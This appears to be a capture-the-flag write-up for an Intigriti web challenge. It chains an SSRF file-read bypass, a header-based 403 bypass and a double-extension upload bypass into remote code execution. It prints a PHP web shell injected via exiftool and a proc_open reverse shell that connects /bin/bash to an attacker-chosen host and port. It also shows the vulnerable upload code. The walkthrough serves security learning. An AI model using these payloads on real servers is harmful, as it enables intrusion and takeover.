Sitemap

Intigriti Challenge 1025 : Exploiting SSRF and Upload Validation to Gain RCE

4 min readOct 14, 2025

Summary: I solved the Intigriti October challenge by chaining an SSRF in challenge.php?url= to read internal files, discovered header check that protected the upload page, found an upload validation bypass using double extensions (poc.png.php) and image comment injection, and achieved RCE (via proc_open function) to read the final flag.
Flag: INTIGRITI{ngks896sdjvsjnv6383utbgn}

Recon & initial SSRF

The challenge’s SSRF was protected by weak validation that insisted on the presence of the substring http. Plain file:/// was rejected with “Invalid URL: must include 'http'”, but appending #http or ?http after the file:/// path caused the validator to accept the input while the server still fetched the file:// resource.

Press enter or click to view image in full size
https://challenge-1025.intigriti.io/challenge.php?url=file:///%23http

Example used to fetch the flag early on:

https://challenge-1025.intigriti.io/challenge.php?url=file%3A%2F%2F%2F93e892fe-c0af-44a1-9308-5a58548abd98.txt%23http

That returned INTIGRITI{ngks896sdjvsjnv6383utbgn}. So even without RCE we could read required flag.

Press enter or click to view image in full size
https://challenge-1025.intigriti.io/challenge.php?url=file%3A%2F%2F%2F93e892fe-c0af-44a1-9308-5a58548abd98.txt%23http

Finding upload page and bypassing 403

I enumerated /var/www/html/ via the LFR and discovered upload_shoppix_images.php.

Press enter or click to view image in full size
https://challenge-1025.intigriti.io/challenge.php?url=file%3A%2F%2F%2Fvar/www/html%23http

Visiting it directly returned a 403.

Press enter or click to view image in full size
/upload_shoppix_images.php

I then read /etc/apache2/sites-enabled/000-default.conf and found:

Press enter or click to view image in full size
https://challenge-1025.intigriti.io/challenge.php?url=file:///etc/apache2/sites-enabled/000-default.conf%23http

This revealed the gate: the server allowed access only when is-shoppix-admin is set to true. So I re-requested /upload_shoppix_images.php through burp suite while ensuring the header is-shoppix-admin: true, and the 403 status is bypassed:

Press enter or click to view image in full size
bypass 403 by setting is-shoppix-admin to true

From the browser (I used match&replace rule in burp to add the required header):

Press enter or click to view image in full size
/upload_shoppix_images.php 200 OK

Source review of upload_shoppix_images.php

Reading the upload_shoppix_images.php source showed the typical php upload flow.

<-- snip -->
<?php
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
$file = $_FILES['image'];
$filename = $file['name'];
$tmp = $file['tmp_name'];
$mime = mime_content_type($tmp);

if (
strpos($mime, "image/") === 0 &&
(stripos($filename, ".png") !== false ||
stripos($filename, ".jpg") !== false ||
stripos($filename, ".jpeg") !== false)
) {
move_uploaded_file($tmp, "uploads/" . basename($filename));
echo "<p style='color:#00e676'>✅ File uploaded successfully to /uploads/ directory!</p>";
} else {
echo "<p style='color:#ff5252'>❌ Invalid file format</p>";
}
}
?>
<-- snip -->

The app checked:

  • mime_content_type($tmp) — required to start with image/
  • stripos($filename, ".png") !== false || stripos($filename, ".jpg") !== false || stripos($filename, ".jpeg") !== false is a substring check on the original filename

Crucially, the code trusted the original filename and only performed a substring check using stripos() function. It also used MIME detection but did not enforce server-side renaming or move files outside webroot, nor did it prevent execution of uploaded files.

Upload bypass and achieving RCE

  1. Image-content bypass: I embedded a small PHP snippet inside an image comment/metadata so the file’s MIME detection still reported image/* (or the server accepted it based on mime_content_type). The upload logic accepted and stored the file under the uploads/. Using exiftool we can inject our php payload as a shell:
exiftool -Copyright="<?php system($_GET[1337]); ?>" poc.png

2. Filename bypass: I uploaded the file whose original filename poc.png included an allowed image. then used burpsuite to change the filename to poc.png.php. The substring check passed because .png was present in the filename.

Press enter or click to view image in full size

3. Execution: Accessing the uploaded file /uploads/poc.png.php executed the PHP. But error occured:

�PNG  IHDR PX�"tEXtshell
Fatal error: Uncaught Error: Call to undefined function system() in /var/www/html/uploads/poc.png.php:6 Stack trace: #0 {main} thrown in /var/www/html/uploads/poc.png.php on line 6

Many common exec wrappers were disabled (system, exec, shell_exec, popen, etc.) — verified via phpinfo() (which I read via upload and execute <?php phpinfo();?>).

Press enter or click to view image in full size

Or by check the php configuration in /usr/local/etc/php/conf.d/99-custom.ini

Press enter or click to view image in full size
https://challenge-1025.intigriti.io/challenge.php?url=file:///usr/local/etc/php/conf.d/99-custom.ini%23http

However, proc_open was not blocked. I used proc_open inside the uploaded PHP file to spawn a shell and forward its stdin/stdout/stderr to a network socket:

<?php $sock=fsockopen($_GET['h'],$_GET['p']);$proc=proc_open("/bin/bash", array(0=>$sock, 1=>$sock, 2=>$sock),$pipes); ?>
Press enter or click to view image in full size
Upload the shell to /uploads/

I then requested the uploaded file with my listener parameters:

https://challenge-1025.intigriti.io/uploads/poc.png.php?h=<host>&p=<port>
Press enter or click to view image in full size

NB: I initially retrieved the flag using SSRF/LFR https://challenge-1025.intigriti.io/challenge.php?url=file%3A%2F%2F%2F93e892fe-c0af-44a1-9308-5a58548abd98.txt%23http, but per the challenge rules the submission requires demonstrating RCE on the server, I therefore continued to fully chain to RCE to meet that requirement.

Thanks to Intigriti and chux for the awesome challenge — it was a clean chain demonstrating how small validation mistakes across different layers can be combined into a critical RCE. Thanks for reading.

--

--